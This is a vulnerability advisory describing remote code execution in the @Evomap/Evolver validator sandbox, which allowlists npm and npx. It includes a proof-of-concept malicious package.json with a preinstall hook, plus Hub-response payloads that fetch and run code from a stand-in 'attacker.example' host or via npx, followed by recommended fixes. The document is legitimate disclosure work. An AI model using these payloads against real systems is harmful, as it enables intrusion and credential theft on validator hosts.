PT-2026-41411 · Npm · @Evomap/Evolver
Published
2026-05-05
·
Updated
2026-05-05
CVSS v3.1
8.1
High
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
The validator-mode sandbox executor (
src/gep/validator/sandboxExecutor.js) places npm and npx in its hard executable allowlist. Because npm install <pkg> and npx -y -p <pkg> <bin> execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume validation commands strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s).Details
End-to-end chain:
-
src/gep/validator/index.js:71-87—fetchValidationTasks()POSTs to<hub>/a2a/fetchand readsvalidation tasksfrom the JSON response. The outbound request is signed viabuildHubHeaders(), but the Hub's response is parsed directly withawait res.json()and no signature is verified ondata.payload. -
src/gep/validator/index.js:98-108—validateOneTask()extractstask.validation commands(an array of attacker-controlled strings) and passes it straight torunInSandbox(commands, {}). No call topolicyCheck.isValidationCommandAllowed()happens on this path. The author's own comment atsandboxExecutor.js:41-42acknowledges this gap: "This closes the gap where validation commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed()." -
src/gep/validator/sandboxExecutor.js:172-218—runSingleCommandcallsparseCommand(cmd), then checksALLOWED EXECUTABLES.has(parsed.executable):
js
// sandboxExecutor.js:35
const ALLOWED EXECUTABLES = new Set(['node', 'npm', 'npx']);parseCommand only rejects shell metacharacters (| & ; > < $) and unbalanced quotes. A string like npm install /tmp/evil-pkg --no-audit --no-fundcontains none of those and parses cleanly into{ executable: 'npm', args: [...] }`.sandboxExecutor.js:54-66—assertNodeCommandSafeis a no-op for non-nodeexecutables:
js
function assertNodeCommandSafe(parsed) {
if (parsed.executable !== 'node') return; // npm/npx skip every check
...
}The
BLOCKED NODE FLAGS set (-e, -r, --loader, etc.) therefore never gates npm or npx invocations.-
sandboxExecutor.js:213—spawn('npm', [...], { shell: false, cwd: sandboxDir, env })runsnpm. npm's documented behavior is to execute the package'spreinstall,install, andpostinstallscripts;npxdownloads a remote package and executes itsbinentry. Both yield arbitrary code execution in the validator process's UID/permissions. -
src/gep/validator/index.js:189— the validator daemon polls every 60s by default (EVOLVER VALIDATOR DAEMON INTERVAL MS), and validator mode is on by default since v1.69.0 (isValidatorEnabled()returnstrueunless explicitly disabled,index.js:25-34).
The "sandbox" is nominal: it sets a fresh
cwd and a stripped env (HOME → tmpdir to hide ~/.npmrc/~/.ssh), but PATH is preserved (so npm/npx resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process.The author's documented threat model at
sandboxExecutor.js:31-34 explicitly includes Hub compromise:"Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task."
Putting
npm and npx on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools.PoC
Reproduced against v1.70.0-beta.4 (HEAD on
main):Step 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases):
bash
mkdir -p /tmp/evil-pkg-validator
cat > /tmp/evil-pkg-validator/package.json <<'EOF'
{
"name":"evil-pkg-validator","version":"1.0.0",
"scripts":{
"preinstall":"node -e "require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())""
}
}
EOFStep 2 — invoke the exact code path used by
validateOneTask() when the Hub returns a task with validation commands: ["npm install /tmp/evil-pkg-validator --no-audit --no-fund"]:bash
rm -f /tmp/pwned-by-validator-test
node -e "
const s = require('./src/gep/validator/sandboxExecutor');
s.runInSandbox(
['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],
{ cmdTimeoutMs: 60000 }
).then(o => {
console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);
console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));
});"Observed output (verified):
overallOk: true exitCode: 0
PWNED: RCE uid=0 time=1777213140205The sandbox reports
overallOk: true (it sees a clean exit-0 from npm), while the preinstall script has already written /tmp/pwned-by-validator-test outside the sandbox directory — uncontained code execution as the validator UID.Remote-only variant (no local file required): a compromised or MITM'd Hub returns:
json
{ "validation commands": ["npm install https://attacker.example/evil.tgz --no-audit --no-fund"] }or
json
{ "validation commands": ["npx -y -p evil-pkg@1.0.0 evil-cmd"] }Both pass
parseCommand() (no shell metacharacters), pass ALLOWED EXECUTABLES.has('npm'|'npx'), and assertNodeCommandSafe is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host.Impact
- Arbitrary code execution as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default).
- Credential exfiltration: HUB NODE SECRET, A2A node identity, any cloud/cred material readable by the process.
- Persistence / lateral movement: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM.
- Wormable across the network: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0.
- Defeats the documented sandbox guarantee: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools.
Recommended Fix
Remove
npm and npx from ALLOWED EXECUTABLES. Validation tasks need only node <script>:js
// src/gep/validator/sandboxExecutor.js
const ALLOWED EXECUTABLES = new Set(['node']);If
npm test / npx vitest style commands must remain reachable from the Hub path, harden them explicitly:js
function assertNpmCommandSafe(parsed) {
if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return;
// Block install/exec/run-script that fetch or execute lifecycle scripts.
const sub = parsed.args.find((a) => !a.startsWith('-'));
const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']);
if (FORBIDDEN.has(sub)) {
throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub);
}
// Require --ignore-scripts on every npm invocation as defense-in-depth.
if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) {
throw new Error('npm in sandbox requires --ignore-scripts');
}
// npx always fetches+executes — disallow entirely.
if (parsed.executable === 'npx') {
throw new Error('npx is not allowed in sandbox');
}
}Additionally:
- Sign the Hub's
/a2a/fetchresponse the same way outbound requests are signed (buildHubHeaders). Verify the signature ondata.payloadinfetchValidationTasksbefore handing tasks torunInSandbox. This closes the network-MITM variant that does not require Hub compromise. - Run
runInSandboxunder real isolation — drop privileges, disable network, mount tmpfs, apply seccomp — rather than relying solely on an allowlist. The currentbuildSandboxEnvonly redirectsHOME/TMPDIR; the spawned process otherwise has full host access. - Apply
policyCheck.isValidationCommandAllowed()to Hub-deliveredvalidation commandsinvalidateOneTask, mirroring the gate that already exists for capsule-derived commands insolidify.js/skill2gep.js.
Fix
OS Command Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
@Evomap/Evolver